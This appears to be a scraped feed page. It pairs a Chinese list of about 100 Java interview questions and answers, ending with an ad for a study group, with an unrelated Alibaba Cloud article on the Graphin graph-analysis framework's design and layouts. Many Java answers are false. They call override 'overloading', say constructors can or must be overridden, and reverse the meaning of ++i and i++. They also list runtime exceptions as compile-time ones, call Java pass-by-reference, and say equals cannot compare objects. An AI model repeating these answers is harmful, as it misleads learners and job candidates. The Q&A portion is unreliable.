      ## 2.你所知道网络协议有那些?
      
      HTTP:超文本传输协议  
      FTP:文件传输协议  
      SMPT:简单邮件协议  
      TELNET:远程终端协议  
      POP3:邮件读取协议
      
      

    3.Java都有那些开发平台?

    JAVA SE:主要用在客户端开发
    JAVA EE:主要用在web应用程序开发
    JAVA ME:主要用在嵌入式应用程序开发复制代码

    4.什么是JVM?java虚拟机包括什么?

    JVM:java虚拟机,运用硬件或软件手段实现的虚拟的计算机,Java虚拟机包括:寄存器,堆栈,处理器

    5.Java是否需要开发人员回收内存垃圾吗?

    大多情况下是不需要的。Java提供了一个系统级的线程来跟踪内存分配,不再使用的内存区将会自动回收

    6.什么是JDK?什么是JRE?

    JDK:java development kit:java开发工具包,是开发人员所需要安装的环境

    JRE:java runtime environment:java运行环境,java程序运行所需要安装的环境

    7.什么是数据结构?

    计算机保存,组织数据的方式

    8.Java的数据结构有那些?

    线性表(ArrayList)
    链表(LinkedList)
    栈(Stack)
    队列(Queue)
    图(Map)
    树(Tree)复制代码

    9.什么是OOP?

    面向对象编程

    10.什么是面向对象?

    世间万物都可以看成一个对象。每个物体包括动态的行为和静态的属性,这些就构成了一个对象。

    11.类与对象的关系?

    类是对象的抽象,对象是类的具体,类是对象的模板,对象是类的实例

    12.Java中有几种数据类型

    整形:byte,short,int,long
    浮点型:float,double
    字符型:char
    布尔型:boolean复制代码

    13.什么是隐式转换,什么是显式转换

    显示转换就是类型强转,把一个大类型的数据强制赋值给小类型的数据;隐式转换就是大范围的变量能够接受小范围的数据;隐式转换和显式转换其实就是自动类型转换和强制类型转换。

    14.Char类型能不能转成int类型?能不能转化成string类型,能不能转成double类型

    Char在java中也是比较特殊的类型,它的int值从1开始,一共有2的16次方个数据;Char

    15.什么是拆装箱?

    拆箱:把包装类型转成基本数据类型
    装箱:把基本数据类型转成包装类型复制代码

    16.Java中的包装类都是那些?

    byte:Byte
    short:Short
    int:Integer
    long:Long
    float:Float
    double:Double
    char:Character
    boolean:Boolean复制代码

    17.一个java类中包含那些内容?

    属性、方法、内部类、构造方法、代码块。

    18.例如: if(a+1.0=4.0),这样做好吗?

    不好,因为计算机在浮点型数据运算的时候,会有误差,尽量在布尔表达式中不使用浮点型数据(if,while,switch中判断条件不使用浮点型)

    19.那针对浮点型数据运算出现的误差的问题,你怎么解决?

    使用Bigdecimal类进行浮点型数据的运算

    20.++i与i++的区别

    ++i:先赋值,后计算
    i++:先计算,后赋值复制代码

    21.程序的结构有那些?

    顺序结构
    选择结构
    循环结构复制代码

    22.数组实例化有几种方式?

    静态实例化:创建数组的时候已经指定数组中的元素,

    int[] a=new int[]{1,3,3}复制代码

    动态实例化:实例化数组的时候,只指定了数组程度,数组中所有元素都是数组类型的默认值

    23.Java中各种数据默认值

    Byte,short,int,long默认是都是0
    Boolean默认值是false
    Char类型的默认值是’’
    Float与double类型的默认是0.0
    对象类型的默认值是null复制代码

    24.Java常用包有那些?

    Java.lang
    Java.io
    Java.sql
    Java.util
    Java.awt
    Java.net
    Java.math复制代码

    25.Java最顶级的父类是哪个?

    Object

    26.Object类常用方法有那些?

    Equals
    Hashcode
    toString
    wait
    notify
    clone
    getClass复制代码

    27.java中有没有指针?

    有指针,但是隐藏了,开发人员无法直接操作指针,由jvm来操作指针

    28.java中是值传递引用传递?

    理论上说,java都是引用传递,对于基本数据类型,传递是值的副本,而不是值本身。对于对象类型,传递是对象的引用,当在一个方法操作操作参数的时候,其实操作的是引用所指向的对象。

    29.假设把实例化的数组的变量当成方法参数,当方法执行的时候改变了数组内的元素,那么在方法外,数组元素有发生改变吗?

    改变了,因为传递是对象的引用,操作的是引用所指向的对象

    30.实例化数组后,能不能改变数组长度呢?

    不能,数组一旦实例化,它的长度就是固定的

    31.假设数组内有5个元素,如果对数组进行反序,该如何做?

    创建一个新数组,从后到前循环遍历每个元素,将取出的元素依次顺序放入新数组中

    32.形参与实参

    形参:全称为“形式参数”,是在定义方法名和方法体的时候使用的参数,用于接收调用该方法时传入的实际值;实参:全称为“实际参数”,是在调用方法时传递给该方法的实际值。

    33.构造方法能不能显式调用?

    不能构造方法当成普通方法调用,只有在创建对象的时候它才会被系统调用

    34.构造方法能不能重写?能不能重载?

    可以重写,也可以重载

    35.什么是方法重载?

    方法的重载就是在同一个类中允许同时存在一个以上的同名方法,只要它们的参数个数或者类型不同即可。在这种情况下,该方法就叫被重载了,这个过程称为方法的重载(override)

    36.内部类与静态内部类的区别?

    静态内部类相对与外部类是独立存在的,在静态内部类中无法直接访问外部类中变量、方法。如果要访问的话,必须要new一个外部类的对象,使用new出来的对象来访问。但是可以直接访问静态的变量、调用静态的方法;

    普通内部类作为外部类一个成员而存在,在普通内部类中可以直接访问外部类属性,调用外部类的方法。

    如果外部类要访问内部类的属性或者调用内部类的方法,必须要创建一个内部类的对象,使用该对象访问属性或者调用方法。

    如果其他的类要访问普通内部类的属性或者调用普通内部类的方法,必须要在外部类中创建一个普通内部类的对象作为一个属性,外同类可以通过该属性调用普通内部类的方法或者访问普通内部类的属性

    如果其他的类要访问静态内部类的属性或者调用静态内部类的方法,直接创建一个静态内部类对象即可。

    37.Static关键字有什么作用?

    Static可以修饰内部类、方法、变量、代码块

    Static修饰的类是静态内部类

    Static修饰的方法是静态方法,表示该方法属于当前类的,而不属于某个对象的,静态方法也不能被重写,可以直接使用类名来调用。在static方法中不能使用this或者super关键字。

    Static修饰变量是静态变量或者叫类变量,静态变量被所有实例所共享,不会依赖于对象。静态变量在内存中只有一份拷贝,在JVM加载类的时候,只为静态分配一次内存。

    Static修饰的代码块叫静态代码块,通常用来做程序优化的。静态代码块中的代码在整个类加载的时候只会执行一次。静态代码块可以有多个,如果有多个,按照先后顺序依次执行。

    38.Final在java中的作用

    Final可以修饰类,修饰方法,修饰变量。
    修饰的类叫最终类。该类不能被继承。
    修饰的方法不能被重写。
    修饰的变量叫常量,常量必须初始化,一旦初始化后,常量的值不能发生改变。复制代码

    39.Java中操作字符串使用哪个类?

    String,StringBuffer,StringBuilder

    40.StringBuffer,Stringbuilder有什么区别?

    StringBuffer与StringBuilder都继承了AbstractStringBulder类,而AbtractStringBuilder又实现了CharSequence接口,两个类都是用来进行字符串操作的。

    在做字符串拼接修改删除替换时,效率比string更高。

    StringBuffer是线程安全的,Stringbuilder是非线程安全的。所以Stringbuilder比stringbuffer效率更高,StringBuffer的方法大多都加了synchronized关键字

    41.String str=”aaa”,与String str=new String(“aaa”)一样吗?

    不一样的。因为内存分配的方式不一样。
    第一种,创建的”aaa”是常量,jvm都将其分配在常量池中。
    第二种创建的是一个对象,jvm将其值分配在堆内存中。复制代码

    42.String str=”aa”,String s=”bb”,String aa=aa+s;一种创建了几个对象?

    一共有两个引用,三个对象。因为”aa”与”bb”都是常量,常量的值不能改变,当执行字符串拼接时候,会创建一个新的常量是” aabbb”,有将其存到常量池中。

    43.将下java中的math类有那些常用方法?

    Pow():幂运算
    Sqrt():平方根
    Round():四舍五入
    Abs():求绝对值
    Random():生成一个0-1的随机数,包括0不包括1复制代码

    44.String类的常用方法有那些?

    charAt:返回指定索引处的字符
    indexOf():返回指定字符的索引
    replace():字符串替换
    trim():去除字符串两端空白
    split():分割字符串,返回一个分割后的字符串数组
    getBytes():返回字符串的byte类型数组
    length():返回字符串长度
    toLowerCase():将字符串转成小写字母
    toUpperCase():将字符串转成大写字符
    substring():截取字符串
    format():格式化字符串
    equals():字符串比较复制代码

    45.判断两个对象是否相同,能使用equlas比较吗?

    不能。Equlas大多用来做字符串比较,要判断基本数据类型或者对象类型,需要使用==

    46.==与equlas有什么区别?

    ==可以判断基本数据类型值是否相等,也可以判断两个对象指向的内存地址是否相同,也就是说判断两个对象是否是同一个对象,Equlas通常用来做字符串比较。

    47.如何将字符串反转?

    Stringbuilder或者stringbuffer的reverse方法

    48.面向对象的语言有那些特征?

    封装、继承、多态

    49.Java中的继承是单继承还是多继承

    Java中既有单继承,又有多继承。对于java类来说只能有一个父类,对于接口来说可以同时继承多个接口

    50.什么是重写?什么是重载?

    重载和重写都是java多态的表现。

    重载叫override,在同一个类中多态的表现。当一个类中出现了多个相同名称的方法,但参数个数和参数类型不同,方法重载与返回值无关

    重写叫overwrite,是字符类中多态的表现。当子类出现与父类相同的方法,那么这就是方法重写。方法重写时,子类的返回值必须与父类的一致。如果父类方法抛出一个异常,子类重写的方法抛出的异常类型不能小于父类抛出的异常类型。

    51.构造方法能不能重载?能不能重写?

    可以重载,必须重写

    52.如果父类只有有参构造方法,那么子类必须要重写父类的构造方法吗?

    必须重写

    53.创建一个子类对象的时候,那么父类的构造方法会执行吗?

    会执行。当创建一个子类对象,调用子类构造方法的时候,子类构造方法会默认调用父类的构造方法。

    54.什么是父类引用指向子类对象?

    是java多态一种特殊的表现形式。创建父类引用,让该引用指向一个子类的对象

    55.当父类引用指向子类对象的时候,子类重写了父类方法和属性,那么当访问属性的时候,访问是谁的属性?调用方法时,调用的是谁的方法?

    子类重写了父类方法和属性,访问的是父类的属性,调用的是子类的方法

    56.Super与this表示什么?

    Super表示当前类的父类对象
    This表示当前类的对象复制代码

    57.抽象的关键字是什么?

    Abstract

    58.抽象类必须要有抽象方法吗

    不是必须。抽象类可以没有抽象方法。

    59.如果一个类中有抽象方法,那么这个一定是抽象类?

    包含抽象方法的类一定是抽象类

    60.抽象类可以使用final修饰吗?

    不可以。定义抽象类就是让其他继承的,而final修饰类表示该类不能被继承,与抽象类的理念违背了

    61.普通类与抽象类有什么区别?

    普通类不能包含抽象方法,抽象类可以包含抽象方法
    抽象类不能直接实例化,普通类可以直接实例化复制代码

    62.什么是接口?

    接口就是某个事物对外提供的一些功能的声明,是一种特殊的java类

    63.JAVA为什么需要接口?

    接口弥补了java单继承的缺点

    64.接口有什么特点?

    接口中声明全是public static final修饰的常量
    接口中所有方法都是抽象方法
    接口是没有构造方法的
    接口也不能直接实例化
    接口可以多继承复制代码

    65.接口与抽象类有什么区别?

    抽象类有构造方法,接口没有构造方法
    抽象类只能单继承,接口可以多继承
    抽象类可以有普通方法,接口中的所有方法都是抽象方法
    接口的属性都是public static final修饰的,而抽象的不是复制代码

    66.Java中异常分为哪两种?

    编译时异常
    运行时异常复制代码

    67.说几个常见的编译时异常类?

    NullPointerException:空指针异常
    ArrayIndexOutOfBoundsException:数组下标越界
    NumberFormatException:数字转换异常
    IllegalArgumentException:参数不匹配异常
    InstantiationException:对象初始化异常
    ArithmeticException:算术异常复制代码

    68.异常的处理机制有几种?

    异常捕捉:try…catch…finally,异常抛出:throws。

    69.如何自定义一个异常

    继承一个异常类,通常是RumtimeException或者Exception

    70.在异常捕捉时,如果发生异常,那么try.catch.finally块外的return语句会执行吗?

    会执行,如果有finally,在finally之后被执行,如果没有finally,在catch之后被执行

    71.Try.catch.finally是必须要存在的吗?

    Try块必须存在,catch和finally可以不存在,但不能同时不存在

    72.Thow与thorws区别

    Throw写在代码块内,throw后面跟的是一个具体的异常实例
    Throw写在方法前面后面,throws后面跟的是异常类,异常类可以出现多个复制代码

    73.Error与Exception区别?

    Error和Exception都是java错误处理机制的一部分,都继承了Throwable类。

    Exception表示的异常,异常可以通过程序来捕捉,或者优化程序来避免。

    Error表示的是系统错误,不能通过程序来进行错误处理。

    74.使用Log4j对程序有影响吗?

    有,log4j是用来日志记录的,记录一些关键敏感的信息,通常会将日志记录到本地文件或者数据库中。记录在本地文件中,会有频繁的io操作,会耗费一些系统资源。记录在数据库中,会频繁地操作数据库表,对系统性能也有一定的影响。但是为了程序安全以及数据的恢复或者bug的跟踪,这点资源消耗是可以承受的。

    75.Log4j日志有几个级别?

    由低到高:debug、info、wran、error

    76.除了使用new创建对象之外,还可以用什么方法创建对象?

    Java反射

    77.Java反射创建对象效率高还是通过new创建对象的效率高?

    通过new创建对象的效率比较高。通过反射时,先找查找类资源,使用类加载器创建,过程比较繁琐,所以效率较低

    78.Java中集合框架的有几个?

    Coillection、Map。

    79.Collection接口下有那些集合框架?

    List:线性表、Set:无序集合。

    80.List接口有什么特点?

    顺序存储、可以有重复值。

    81.Set接口有什么特点

    无须存储、不能有重复值。

    82.ArrayList与LinkedList有什么区别?

    ArrayList与LinkedList都实现了List接口。
    ArrayList是线性表,底层是使用数组实现的,它在尾端插入和访问数据时效率较高, 
    Linked是双向链表,他在中间插入或者头部插入时效率较高,在访问数据时效率较低复制代码

    83.Array与ArrayList有什么不一样?

    Array与ArrayList都是用来存储数据的集合。ArrayList底层是使用数组实现的,但是arrayList对数组进行了封装和功能扩展,拥有许多原生数组没有的一些功能。我们可以理解成ArrayList是Array的一个升级版。

    84.Map有什么特点

    以键值对存储数据
    元素存储循序是无须的
    不允许出现重复键复制代码

    85.JDBC操作的步骤

    加载数据库驱动类
    打开数据库连接
    执行sql语句
    处理返回结果
    关闭资源复制代码

    86.在使用jdbc的时候,如何防止出现sql注入的问题。

    使用PreparedStatement类,而不是使用Statement类

    87.怎么在JDBC内调用一个存储过程

    使用CallableStatement

    88.是否了解连接池,使用连接池有什么好处?

    数据库连接是非常消耗资源的,影响到程序的性能指标。连接池是用来分配、管理、释放数据库连接的,可以使应用程序重复使用同一个数据库连接,而不是每次都创建一个新的数据库连接。通过释放空闲时间较长的数据库连接避免数据库因为创建太多的连接而造成的连接遗漏问题,提高了程序性能。

    89.你所了解的数据源技术有那些?使用数据源有什么好处?

    Dbcp,c3p0等,用的最多还是c3p0,因为c3p0比dbcp更加稳定,安全;通过配置文件的形式来维护数据库信息,而不是通过硬编码。当连接的数据库信息发生改变时,不需要再更改程序代码就实现了数据库信息的更新。

    90.Java的io流分为哪两种?

    按功能来分

    输入流(input),输出流(output)复制代码

    按类型来分

    字节流,字符流复制代码

    91.常用io类有那些?

    File
    FileInputSteam,FileOutputStream
    BufferInputStream,BufferedOutputSream
    PrintWrite
    FileReader,FileWriter
    BufferReader,BufferedWriter
    ObjectInputStream,ObjectOutputSream复制代码

    92.字节流与字符流的区别

    以字节为单位输入输出数据,字节流按照8位传输
    以字符为单位输入输出数据,字符流按照16位传输复制代码

    93.final、finalize()、finally

    性质不同

    1. final为关键字;
    2. finalize()为方法;
    3. finally为区块标志,用于try语句中;

    作用

    1. final为用于标识常量的关键字,final标识的关键字存储在常量池中(在这里final常量的具体用法将在下面进行介绍);
    2. finalize()方法在Object中进行了定义,用于在对象“消失”时,由JVM进行调用用于对对象进行垃圾回收,类似于C++中的析构函数;用户自定义时,用于释放对象占用的资源(比如进行I/0操作);
    3. finally{}用于标识代码块,与try{}进行配合,不论try中的代码执行完或没有执行完(这里指有异常),该代码块之中的程序必定会进行;

    94.抽象类和接口的区别?

    抽象类:

    1. 抽象方法,只有行为的概念,没有具体的行为实现。使用abstract关键字修饰,没有方法体。子类必须重写这些抽象方法。
    2. 包含抽象方法的类,一定是抽象类。
    3. 抽象类只能被继承,一个类只能继承一个抽象类。

    接口:

    1. 全部的方法都是抽象方法,属型都是常量
    2. 不能实例化,可以定义变量。
    3. 接口变量可以引用具体实现类的实例
    4. 接口只能被实现,一个具体类实现接口,必须实现全部的抽象方法
    5. 接口之间可以多实现
    6. 一个具体类可以实现多个接口,实现多继承现象

    95.线程同步的方法

    1. wait():让线程等待。将线程存储到一个线程池中。
    2. notify():唤醒被等待的线程。通常都唤醒线程池中的第一个。让被唤醒的线程处于临时阻塞状态。
    3. notifyAll(): 唤醒所有的等待线程。将线程池中的所有线程都唤醒。

    96.线程与进程的区别

    进程是系统进行资源分配和调度的一个独立单位,线程是CPU调度和分派的基本单位

    进程和线程的关系:

    1. 一个线程只能属于一个进程,而一个进程可以有多个线程,但至少有一个线程。
    2. 资源分配给进程,同一进程的所有线程共享该进程的所有资源。
    3. 线程在执行过程中,需要协作同步。不同进程的线程间要利用消息通信的办法实现同步。
    4. 线程是指进程内的一个执行单元,也是进程内的可调度实体。

    线程与进程的区别:

    1. 调度:线程作为调度和分配的基本单位,进程作为拥有资源的基本单位。
    2. 并发性:不仅进程之间可以并发执行,同一个进程的多个线程之间也可以并发执行。
    3. 拥有资源:进程是拥有资源的一个独立单位,线程不拥有系统资源,但可以访问隶属于进程的资源。
    4. 系统开销:在创建或撤销进程的时候,由于系统都要为之分配和回收资源,导致系统的明显大于创建或撤销线程时的开销。但进程有独立的地址空间,进程崩溃后,在保护模式下不会对其他的进程产生影响,而线程只是一个进程中的不同的执行路径。线程有自己的堆栈和局部变量,但线程之间没有单独的地址空间,一个线程死掉就等于整个进程死掉,所以多进程的程序要比多线程的程序健壮,但是在进程切换时,耗费的资源较大,效率要差些。

    97.&和&&的区别

    &是位运算符。&&是布尔逻辑运算符,在进行逻辑判断时用&处理的前面为false后面的内容仍需处理,用&&处理的前面为false不再处理后面的内容。

    98.重载与重写

    1. Overload为重载,Override为重写方法的重写和重载是Java多态性的不同表现。重写是父类与子类之间多态性的一种表现,重载是一个类中多态性的一种表现。
    2. 如果在子类中定义某方法与其父类有相同的名称和参数,我们说该方法被重写 (Override)。子类的对象使用这个方法时,将调用子类中的定义,对它而言,父类中的定义如同被"屏蔽"了。
    3. 如果在一个类中定义了多个同名的方法,它们或有不同的参数个数或有不同的参数类型,则称为方法的重载(Overload)。

      重载的方法是可以改变返回值的类型。
      

    99.如果对象的引用被置为null,垃圾收集器是否会立即释放对象占用的内存?

    不会,在下一个垃圾回收周期中,这个对象将是可被回收的。

    100.串行(serial)收集器和吞吐量(throughput)收集器的区别是什么?

    吞吐量收集器使用并行版本的新生代垃圾收集器,它用于中等规模和大规模数据的应用程序。而串行收集器对大多数的小应用(在现代处理器上需要大概100M左右的内存)就足够了。

    本次给大家推荐一个免费学习群(这是一个新群).
    对java开发感兴趣的同学,欢迎大家加入哦1023554403
    不管你是大牛还是小白,都欢迎加入,进来免费送与您一份相关资料,现在有毕业设计视频(资料,源码,开发工具),学习路线等,
    同时不断更新资料与你们免费使用,不时发经典题目一起讨论.

    ]]>
    聊聊Graphin的图分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 今年有幸跟参与到Antv Graphin的共建组织中,并与山果同学一起做了Graphin FY21财年的产品规划。这篇文章主要根据Graphin规划内容重新思考图分析。

    定位

    既然聊到了图可视化分析,首先要讲清楚什么是图,什么是图分析。

    image.png

    能读到这篇文章的同学相信之前都会对图有所了解。最早关于图论的探讨来自于欧拉大神解决的柯尼斯堡七桥问题, 这也开创了数学一个新分支-图论和几何拓扑学。下方引文中列出了维基百科中关于图的定义,即图是点边的集合:

    A graph (sometimes called undirected graph for distinguishing from a directed graph, or simple graph for distinguishing from a multigraph) is a pair G = (V, E), where V is a set whose elements are called vertices (singular: vertex), and E is a set of two-sets (sets with two distinct elements) of vertices, whose elements are called edges (sometimes links or lines).

       
    在实际图存储与图计算工程领域中,为了让图中携带更多信息,增加了一个属性维度。图中节点和边都可以通过属性携带更多信息。

    图分析

    image.png

    图分析(即Graph Analysis), 简单讲是利用图去分析问题。比如上图的七桥问题就是通过图的拓扑结构去分析问题、可能大家还听过另外一个图分析的经典问题六度分隔理论,即世界上任何互不相识的两人,最多通过六个中间人就能够建立起联系。在数据分析领域,图分析是图存储、图计算、图可视化三者结合的产物, 图分析依赖图存储进行大规模图数据存储,依赖图计算的算法以及定制化的算法完成图问题分析,依赖图可视化完成图分析的呈现以及交互, 完整分析过程可以分为预分析、分析、后分析三个过程:

    • 预分析:预分析过程主要包括数据获取,数据清洗,数据建模(关联), 数据导入,使数据具有的可分析性。这部分能力主要依托Graph引擎平台或者数据开发平台完成,本文不进行探讨。
    • 分析:虽然图分析属于可视化的范畴,但是它与我们常见的可视化应用略有不同,它在讲求信息的可读性的同时,还会关注信息的分析性。一个优秀的图分析产品需要根据业务场景提供一些列的分析能力帮助用户在茫茫数据中完成问题的分析过程中,这些分析能力包含检索,布局,筛选,探查,定位等。
    • 后分析: 既然是一个问题分析,那大部分场景下还是需要一个分析结论,这里的结论可能是图片、PDF、Excel、甚至具有一定交互性的APP。


    本文后续章节主要关注图分析和图可视化结合部分。

    机遇

    image.png

    Gartner在2019年8月发布的 《2019年新兴技术成熟度》 中有两项技术跟图分析相关: Knowledge 和 Graph Analytics。在2020年的《十大数据分析技术趋》也将图数据分析列入数据分析十大趋势之一,并且预测到2022年之前图计算和图数据库将以每年100%的速度增长,并且图分析的商业化仍然处于早期阶段,特别的国内起步尚晚,仍有很大的机遇。
    image.png
    图分析特别是图可视化玩法多样:

    • 可以与图数据库,如Graph Compute, GeaBase, TigerGraph, Neo4j等结合, 赋予图数据库通用性数据分析能力,降低开发者的使用成本和理解成本。如Graph Compute的Graph Compute Analyser, TiggerGraph 以及Neo4j都有提供类似的功能;
    • 再结合图计算的算法分析能力,能发展处通用知识图谱平台,I+关系网络分析这样的通用分析平台;
    • 同时分析能力还能够结合服务化,赋能更多需要图分析技术的业务领域,比如金融风控领域,安全合规领域以及健康医疗领域等。


    目前业界具备这样能力的优秀框架并不多,并且大部分都已商业化,受制于这些商业公司策略(如Regraph不对国内销售), 我们很难享受到这些优秀框架提供给我们的专业的分析能力;虽然社区已经有G6, CyptoScape, D3.js这样优秀的引擎能够满足图可视化分析需求,但是像关联节点高亮,团伙导航,关系扩散,地理分析等业务领域相关的分析能力确实无法沉淀。我们期望能够提供一个把专业的领域内的分析能力无门槛的提供给阿里巴巴集团和社区内的小伙伴的框架.

    起源

    业界在图分析领域已经有很多年的沉淀,并且在安全领域、金融风控、关系分析、社交网络等有很多成熟案例,这波浪潮里不乏鼎鼎大名的Palantir, 剑桥情报的RegraphKeylines, 以及Linkrous,但是这些成熟的分析产品都有一个通用问题-商用,很多业务场景下我们都很难直接复用。回归到阿里巴巴集团本身, 领域化的图分析应用遍地开花:

    • 从底层技术角度来讲,不同应用会做到最后都会产生一个图分析沉淀(框架),  集团中”烟囱“林立。”烟囱"林立本事还是小事情,在图分析领域会大量的专家经验,这些经验很难沉淀,也无法共享,更需要大量人力才能进行深入
    • 从产品角度讲, 目前阿里集团还没有哪一款产品能够完全代表图分析,量变的沉淀需要一定的机遇转变为质的变化;并且分析产品中沉淀的一系列设计规范、交互规范、能力规范需要有一个平台能够进行跨应用共享
    • 从人才梯队建设来讲,前端领域深入可视化领域的专业同学本身就不多,做图分析领域的专业同学更是少之又少,需要一个“组织”收拢这些图分析领域的同学来应对业界逐渐爆发的图可视化诉求。
      image.png


    基于这样三个诉求,我们从去年尝试Graphin共建组织的建设。大体可以分为诞生,开源,共建三个阶段:

    • 诞生阶段: Graphin诞生于阿里巴巴集团内的一个图分析产品,最开始基于Cytoscapte.JS构建,后来在Antv G6体系建设完成之后,切换到了G6引擎。这样做当然不仅仅“政治正确性”问题,Graphin层保留了大量图分析领域域的沉淀,有一些沉淀需要绑定底层引擎才能完成,比如Combos问题,Layout优化,显然G6更加合适,于是就有了G6 + Graphin的兄弟组合。
    • 开源阶段:Graphin诞生于业务,服务于业务,关注于业务,整个Graphin的演进围绕着业务进行的。Graphin诞生之后深入参与阿里集团金融领域和知识图谱领域的两个标杆产品的建设,并在这两个产品中沉淀了大量领域域的分析能力。随着Graphin的不断演进,我们意识到Graphin里的沉淀可以服务更多具有相同需求的产品,于是我们在2019.11.22发布了Graphin 1.0.0开源版本,这个版本里我们梳理了梳理了图分析行业体系化的知识,内置了图分析产品的最佳实践,并且集成了图分析业务工程化方案。
    • 共建阶段:开源之后虽然我们仍然沉浸在业务中,继续走业务打磨能力的路线,并没有刻意宣传。但在Antv品牌影响力的影响下,以及Graphin易上手,标准化,可定制的特点还是吸引了不少相同领域同学的关注。随着与行业内同学持续交流,有越来越多的小伙伴参与到Graphin的讨论与建设当中。

    所以Graphin不仅仅是一个开源图分析组件,更是一个图分析领域的共建组织,有相同诉求的同学可以在这个组织内探索图分析产品的实践方案,  沉淀领域内的分析能力, 共享领域内的分析经验。

    进击

    业务架构

    image.png

    上文已经说过当前版本的Graphin与G6强绑的兄弟组合,G6引擎丰富图算法,图布局,图交互能力以及灵活的图元素定制能力和深度优化的图渲染能力为Graphin夯实了基础; 同时Graphin的业务沉淀也会促进G6的技术创新。

    FY21 Graphin主要关注还是关系可视分析领域,但是Graphin沉淀的能力不仅仅只能用于关系可视分析,其他领域如流量可视分析领域很多能力也是相同的,后续会与更多可视分析领域能力打通;在关系可视分析领域,我们基于已有的业界、阿里集团内的分析产品,沉淀了一些列的设计规范如元素规范,样式规范,同时也提供了诸如自动布局,基础分析,高级分析,辅助分析,数据驱动,扩展机制等功能特性以满足不同领域的可视化分析需求;在这之上,Graphin基于底层能力,为业务层各个领域提供了一系列渐进分析、时序分析、模式匹配、关系扩散、团伙导航、关键路等集成方案。

    技术架构

    image.png


    Graphin除了承接了G6业务沉淀诉求之前,还有一个小目标平缓G6学习曲线,减少图分析对于新同学的上手成本。所以技术架构上我们选取了React + 数据驱动的设计方式,基本能够保障一行搞定图展示,十行搞定图分析Demo的目的。一个简单的图分析Demo如下代码就能搞定。

    const data = Utils.mock(10)
      .circle()
      .graphin();
    
    const App = () => {
      return (
        <div>
          <Graphin data={data} layout={{ name: 'concentric' }}>
            <Toolbar />
            <ContextMenu
              render={() => {
                return <Card title="Card title">Card content</Card>;
              }}
            />
          </Graphin>
        </div>
      );
    };

    除了易用性之外,在业务开发中,Graphin还通过React的扩展机制、事件机制、API机制使开发者使用Graphin有等同于直接使用底层引擎G6一样的灵活性。

    设计规范

    • 点: 用户关心的实体节点。在Graphin中,点通常由Label/Icon/Shape/徽标表示, 可通过修改节点配置信息赋予其不同的含义。同时点也是有状态的:NormalHoverActivateRelatedHide以表达不同的交互含义。

    image.png

    • 边: 表示实体之间的关联关系,在Graphin中线有单边, 多边,自环边之分。每中类型的边都有颜色/文本/箭头/虚实。同时与点类似,边也有NormalHoverActivateRelatedHide几种状态。

    image.png![image.png]

    • 色板:与Antd类似,Graphin也提供色板的能力以保持产品内一致的视觉体验。

    image.png!

    • 主题:我们也要支持Dark /Light

    image.png

    这样用户可以通过下图所示的配置面板(Graph Studio),快捷调整节点/边的各种配置,以满足不同的业务需求。
    image.png

    交互规范

    除了设计规范之外,Graphin同业务场景中抽象出很多通用的交互规范如:

    • 右键:节点/边右键会呼出右键菜单,节点有可能还会存在环形菜单;Hover 点/边会出现Tooltip;点击节点/边会出现属性面板
    • 显隐:点/边是可以进行显隐操作,显隐操作有两种规范,一种是消失,一种是渐隐。
    • 高亮:选中点/边会触发高亮操作:

      • 对于点的高亮,在高亮选中点的同时,也会点亮1度关联点以及关联边,其他节点/边会做渐隐处理
      • 对于边的高亮,在高亮选中边的同时,也会点亮关联起止点,其他节点/边会做渐隐处理
    • 扩散:点可以进行1度2度扩散,扩散时当前图中节点会尽可能保持其稳定性前提下,跟进当前布局选择合适的布局算法对扩展后的节点进行布局(Tweak Layout);同时与只对应的展开的点也可以进行收起操作。
    • 聚焦:聚焦操作通常用在点、边、路径的搜索操作中。是通过平移,缩放,高亮的技术把待聚焦的内容移动至画布中心。

    image.png

    功能特性

    image.png


    Graphin主要提供了自动布局、基础分析、扩展机制、数据驱动、辅助分析以及高级分析几个功能特性。

    • 其中自动布局和基础分析是Graphin的基石:深度定制的自动布局算法保证了在常规场景下图的可读性和可分析性,避免Hair Ball问题; 基础分析是上一章节交互规范的具现,保证了图具有可分析的能力。
    • 数据驱动主要解决是Graphin的易用性,开发者不再需要学习大量的API,只需要更改数据即可完成大部分交互操作;而扩展机制主要赋予Graphin的定制性,通过该机制开发者可以享受与G6同等灵活度,从而满足特殊业务领域高级定制需求
    • 高级分析和辅助分析主要沉淀了一系列从业务领域同抽象而来的分析能力,图分析开发同学能够使用这些分析能力迅速搭建出一个业务场景下真实可用的的分析应用。

    自动布局

    一个优秀的图分析案例,布局永远是需要放在第一位要考虑的因素。一个合理的的布局算法能够帮助用户快速了解他正在分析的图。目前图分析领域布局算法已经非常成熟,如Cambridge Intelligence这篇文章里罗列了他们精心优化的八种布局算法。

    • 通用布局: Graphin和G6的同学也在布局算法层投入大量的精力,针对图分析场景做了大量的优化工作,Graphin中包含诸如力导布局、圆形布局、同心圆布局、网格布局、径向布局、有向分层等布局算法。使开发者不再需要额外调整便能获得一个不错的布局效果,从而增强图的可读性。

    layout.gif

    •  增量布局:与图展示类应用不同,图分析的过程是渐进式的,那如何保证在渐进分析过程中图布局算法的稳定性就显得非常有必要。Graphin增量布局方面也做了大量的优化。 下图展示了在几种常见布局下,进行节点扩散分析后,布局仍然能够保持在一个相对稳定的状态,从而避免了布局后,节点位置跳动导致图的可读性降低问题。

    layout_extend.gif

    • 大图布局:在某些特定分析场景下,需要在画布上绘制的点/边数量较多。而像力导布局每次迭代的所消耗的计算资源也会增大进而阻塞JS线程使图的绘制帧率很低,导致页面卡顿, 即大图布局问题。Graphin采用Web Worker与补间动画结合的技术,把计算量较大力导的迭代过程迁移到Web worker中进行,  使在点边数量较多的场景下也能保证页面的顺滑。下图呈现的是400个节点,800条边的场景下图的绘制情况。当然大图布局的优化策略也可以写一篇文章了,这里不再深入,先留个坑位。

    layout_large.gif

    • 子图布局:如果图中节点有明显的分类,或者用户需要针对图中特定节点进行下一步分析,可以采用子图布局的方式对该部分节点进行重新布局,选择合适的布局算法进一步增强图的可读性。下图中你可以看到存在两个子图分别采用了Circle布局和Radial布局来呈现,布局结果清晰明了,图的可读性非常强。

    image.png

    • 场景化布局: 还有一些数据在特定的布局条件下会表现出更强的可读性,比如在地图中绘制带有地理位置信息的数据。Graphin也有此类规划,通过场景化布局更好的描述分析数据。

    image.png

    • 智能化布局: 主要有两层含义,一层是如何根据当前数据特征自动选择合适的布局算法进行布局,一层是如何解决子图嵌入问题。目前该中类型布局仍然在探索过程中,我们会在后续规划中同步进展。

    image.png

    基础分析

    同交互规范章节内容。含搜索定位,关联点边高亮,节点锁定,点边显隐等。感兴趣的同学可以到 Graphin Studio  或者 Graph Studio 中体验。

    高级分析

    image.png

